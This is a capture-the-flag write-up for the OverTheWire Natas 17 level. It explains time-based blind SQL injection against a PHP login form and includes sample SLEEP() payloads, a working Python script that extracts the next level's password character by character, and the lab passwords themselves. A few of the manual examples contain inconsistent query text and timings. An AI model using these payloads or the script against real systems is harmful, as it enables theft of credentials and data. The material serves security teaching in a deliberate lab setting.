Continuing with last few challenges’ theme, this one is another SQL injection puzzle. Piece of code that matters is the following:

<?  
  
/*  
CREATE TABLE `users` (  
  `username` varchar(64) DEFAULT NULL,  
  `password` varchar(64) DEFAULT NULL  
);  
*/  
  
if(array_key_exists("username", $_REQUEST)) {  
    $link = mysql_connect('localhost', 'natas17', '<censored>');  
    mysql_select_db('natas17', $link);  
      
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";  
    if(array_key_exists("debug", $_GET)) {  
        echo "Executing query: $query<br>";  
    }  
  
    $res = mysql_query($query, $link);  
    if($res) {  
    if(mysql_num_rows($res) > 0) {  
        //echo "This user exists.<br>";  
    } else {  
        //echo "This user doesn't exist.<br>";  
    }  
    } else {  
        //echo "Error in query.<br>";  
    }  
  
    mysql_close($link);  
} else {  
?>   

You’ll notice a couple of thing:

  • A table users is created, with 2 fields username and password.
  • No output is shown for any input you pass.

What options do we have here? We won’t be able to show error messages, use union based SQL injection since no output exists. How about SLEEP()? We can force the SQL statement executed to reveal data by answering yes/no questions.
Let’s check first if we’re able to use the sleep command and some examples to show how we can utilize it. You can use Fiddler as proxy for Windows or Burpsuite for Linux (or whatever tool that does the job) to observe duration.

  • Input: natas18" and sleep(5) #
    Query:
    SELECT * from users where username="_natas18" and sleep(5) #
    

    Output: **Overall Elapsed: 0:00:05.384
    **Meaning
    : User named natas18 exists and sleep(5) was executed.

  • Input: idontexist" and sleep(5) #
    Query:
    SELECT * from users where username="_idontexist" and sleep(5) #_  
    

    Output: Overall Elapsed: 0:00:00.372
    Meaning: User named idontexist doesn’t exists and sleep(5) was not executed.

  • Input: natas18” and password like binary ‘%a%’ and sleep(5) # **Query:** SELECT * from users where username=”_natas18” and password like binary ‘%a%’ and sleep(5) #`
    Output: Overall Elapsed: 0:00:00.359
    Meaning: password for natas18 does not contain the letter ‘a’ and sleep(5) was not executed.

  • Input: natas18" and password like binary '%d%' and sleep(5) #
    Query:
    SELECT * from users where username="_natas18" and password like binary '%a%' and sleep(5) #
    

    Output: **Overall Elapsed: 0:00:00.359
    **Meaning
    : password for natas18 does contain the letter ‘a’ and sleep(5) was executed.

Noticed what happened? By asking the right question, you can tell it’s a yes/no depending on the request duration!

We’ll be using a simple python script to automate the process for us, first by finding the set of characters that exist in password for user natas18 then reconstructing the password.

import requests  
from requests.auth import HTTPBasicAuth  
  
Auth=HTTPBasicAuth('natas17', '8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw')  
headers = {'content-type': 'application/x-www-form-urlencoded'}  
filteredchars = ''  
passwd = ''  
allchars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'  
  
for char in allchars:  
        payload = 'username=natas18%22+and+password+like+binary+%27%25{0}%25%27+and+sleep%281%29+%23'.format(char)  
        r = requests.post('http://natas17.natas.labs.overthewire.org/index.php', auth=Auth, data=payload, headers=headers)  
        if(r.elapsed.seconds >= 1):  
                filteredchars = filteredchars + char  
                print(filteredchars)  
  
print(filteredchars)  
  
for i in range(0,32):  
        for char in filteredchars:  
                payload = 'username=natas18%22%20and%20password%20like%20binary%20\'{0}%25\'%20and%20sleep(1)%23'.format(passwd + char)  
                r = requests.post('http://natas17.natas.labs.overthewire.org/index.php', auth=Auth, data=payload, headers=headers)  
                if(r.elapsed.seconds >= 1):  
                        passwd = passwd + char  
                        print(passwd)  
                        break  

Output:

d  
dg  
dgh  
dghj  
dghjl  
dghjlm  
dghjlmp  
dghjlmpq  
dghjlmpqs  
dghjlmpqsv  
dghjlmpqsvw  
dghjlmpqsvwx  
dghjlmpqsvwxy  
dghjlmpqsvwxyC  
dghjlmpqsvwxyCD  
dghjlmpqsvwxyCDF  
dghjlmpqsvwxyCDFI  
dghjlmpqsvwxyCDFIK  
dghjlmpqsvwxyCDFIKO  
dghjlmpqsvwxyCDFIKOP  
dghjlmpqsvwxyCDFIKOPR  
dghjlmpqsvwxyCDFIKOPR4  
dghjlmpqsvwxyCDFIKOPR47  
dghjlmpqsvwxyCDFIKOPR470  
dghjlmpqsvwxyCDFIKOPR470  
x  
xv  
xvK  
xvKI  
xvKIq  
xvKIqD  
xvKIqDj  
xvKIqDjy  
xvKIqDjy4  
xvKIqDjy4O  
xvKIqDjy4OP  
xvKIqDjy4OPv  
xvKIqDjy4OPv7  
xvKIqDjy4OPv7w  
xvKIqDjy4OPv7wC  
xvKIqDjy4OPv7wCR  
xvKIqDjy4OPv7wCRg  
xvKIqDjy4OPv7wCRgD  
xvKIqDjy4OPv7wCRgDl  
xvKIqDjy4OPv7wCRgDlm  
xvKIqDjy4OPv7wCRgDlmj  
xvKIqDjy4OPv7wCRgDlmj0  
xvKIqDjy4OPv7wCRgDlmj0p  
xvKIqDjy4OPv7wCRgDlmj0pF  
xvKIqDjy4OPv7wCRgDlmj0pFs  
xvKIqDjy4OPv7wCRgDlmj0pFsC  
xvKIqDjy4OPv7wCRgDlmj0pFsCs  
xvKIqDjy4OPv7wCRgDlmj0pFsCsD  
xvKIqDjy4OPv7wCRgDlmj0pFsCsDj  
xvKIqDjy4OPv7wCRgDlmj0pFsCsDjh  
xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhd  
xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP  

Natas 18 password is xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP.